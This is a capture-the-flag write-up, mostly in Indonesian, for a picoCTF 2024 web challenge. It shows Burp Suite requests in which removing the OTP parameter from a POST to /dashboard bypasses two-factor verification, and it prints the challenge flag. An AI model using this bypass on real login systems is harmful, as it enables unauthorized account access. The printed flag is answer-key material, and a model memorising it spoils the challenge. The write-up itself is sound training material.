

Easy

Web Exploitation

picoCTF 2024

AUTHOR: NANA AMA ATOMBO-SACKY & SABINE GISAGARA

Description

Try [here](#) to find the flag

This challenge launches an instance on demand.

Its current status is: **RUNNING**

Instance Time Remaining: **22:55**

[Restart Instance](#)

Hints

1

2

Try mangling the request, maybe their server-side code doesn't handle malformed requests very well.

39,170 users solved



49% Liked



picoCTF{FLAG}

[Submit Flag](#)

Hint :

1. Intercept dengan Burpsuite
2. Coba untuk merubah apa yang ada pada isi request

Solusi :

Kami membuka url pada tulisan here dan mendapatkan tampilan :

Registration

Full Name:

Username:

Phone Number:

City:

Password:

Kami coba untuk registrasi dengan memencet tombol Register setelah itu muncul permintaan OTP. Kami menyadari bagaimana cara kita dapat OTP? disitu kami stuck dan coba untuk menggunakan Burpsuite.

2fa authentication

Setelah registrasi muncul tampilan diatas. disini kita putuskan untuk langsung menggunakan Burpsuite -> Send to repeater.

Request

Pretty Raw Hex

```
1 POST /dashboard HTTP/1.1
2 Host: titan.picoctf.net:64646
3 Content-Length: 14
4 Cache-Control: max-age=0
5 Origin: http://titan.picoctf.net:64646
6 Content-Type: application/x-www-form-urlencoded
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/143.0.0.0 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/s
  igned-exchange;q=0.7
10 Referer: http://titan.picoctf.net:64646/dashboard
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
13 Cookie: session=
  .eJwtjNE0wiAMRf-FZx8AJxv-D0loF40bEDpCiPHfrYl9as_tuW8Vn-dQdzXGUBcVuW7hzC9KgrQ2s5_8FSM47wEmR9ZGvC0RozbaGU3ovHXib
  W3fQ4KDRGMWkM8iq1n8bI2cBZh7rigMGKEj_J7KIycKqR0rVUmsjNDGVP9VnQHU5wvdyzHm.awNd4w.85rIW57vWUgrcWnA031o0ULutFg
14 Connection: keep-alive
15
16 otp=asdasdawas
```

0 highlights

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.0.1 Python/3.8.10
3 Date: Sun, 11 Jan 2026 08:33:06 GMT
4 Content-Type: text/html; charset=utf-8
5 Content-Length: 11
6 Vary: Cookie
7 Connection: close
8
9 Invalid OTP
```

Kami langsung coba untuk send dan melihat repons dari requestnya dan terlihat kalau OTP tidak valid. kami penasaran bagaimana jika otp diiadakan dengan menghapus otp=..... pada request. Ternyata kami mendapatkan flagnya.

Request

PrettyRawHex

ln

1

POST /dashboard HTTP/1.1

2

Host: titan.picoctf.net:64646

3

Content-Length: 0

4

Cache-Control: max-age=0

5

Origin: http://titan.picoctf.net:64646

6

Content-Type: application/x-www-form-urlencoded

7

Upgrade-Insecure-Requests: 1

8

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36

9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/s

10

igned-exchange;v=b3;q=0.7

11

Referer: http://titan.picoctf.net:64646/dashboard

12

Accept-Encoding: gzip, deflate, br

13

Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7

14

Cookie: session=.eJwtjNE0wiAMRf-FZx8AJxv-D0loF40bEDpCiPHfrYl9as_tuW8Vn-dQdzXGUBcVuw7hzC9KgrQ2s5_8FSM47wEmR9ZGvC0RozbaGU3ovHXibW3fQ4KDRGMWKM8iq1n8bI2cBZh7rigMGKEj_J7KIycKqR0rVUmsjNDGVP9VnQHU5wvdyzHm.aWNd4w.85rIW57vWUgrcWnA031o0ULutFg

15

Connection: keep-alive

16

?

Search

0 highlights

Response

PrettyRawHexRender

ln

1

HTTP/1.1 200 OK

2

Server: Werkzeug/3.0.1 Python/3.8.10

3

Date: Sun, 11 Jan 2026 08:34:21 GMT

4

Content-Type: text/html; charset=utf-8

5

Content-Length: 105

6

Vary: Cookie

7

Connection: close

8

9

Welcome, wsaa you sucessfully bypassed the OTP request.

10

Your Flag: picoCTF{#0TP_Bypvss_SuCc3\$S_3e3ddc76}

Flag : picoCTF{#0TP_Bypvss_SuCc3\$S_3e3ddc76}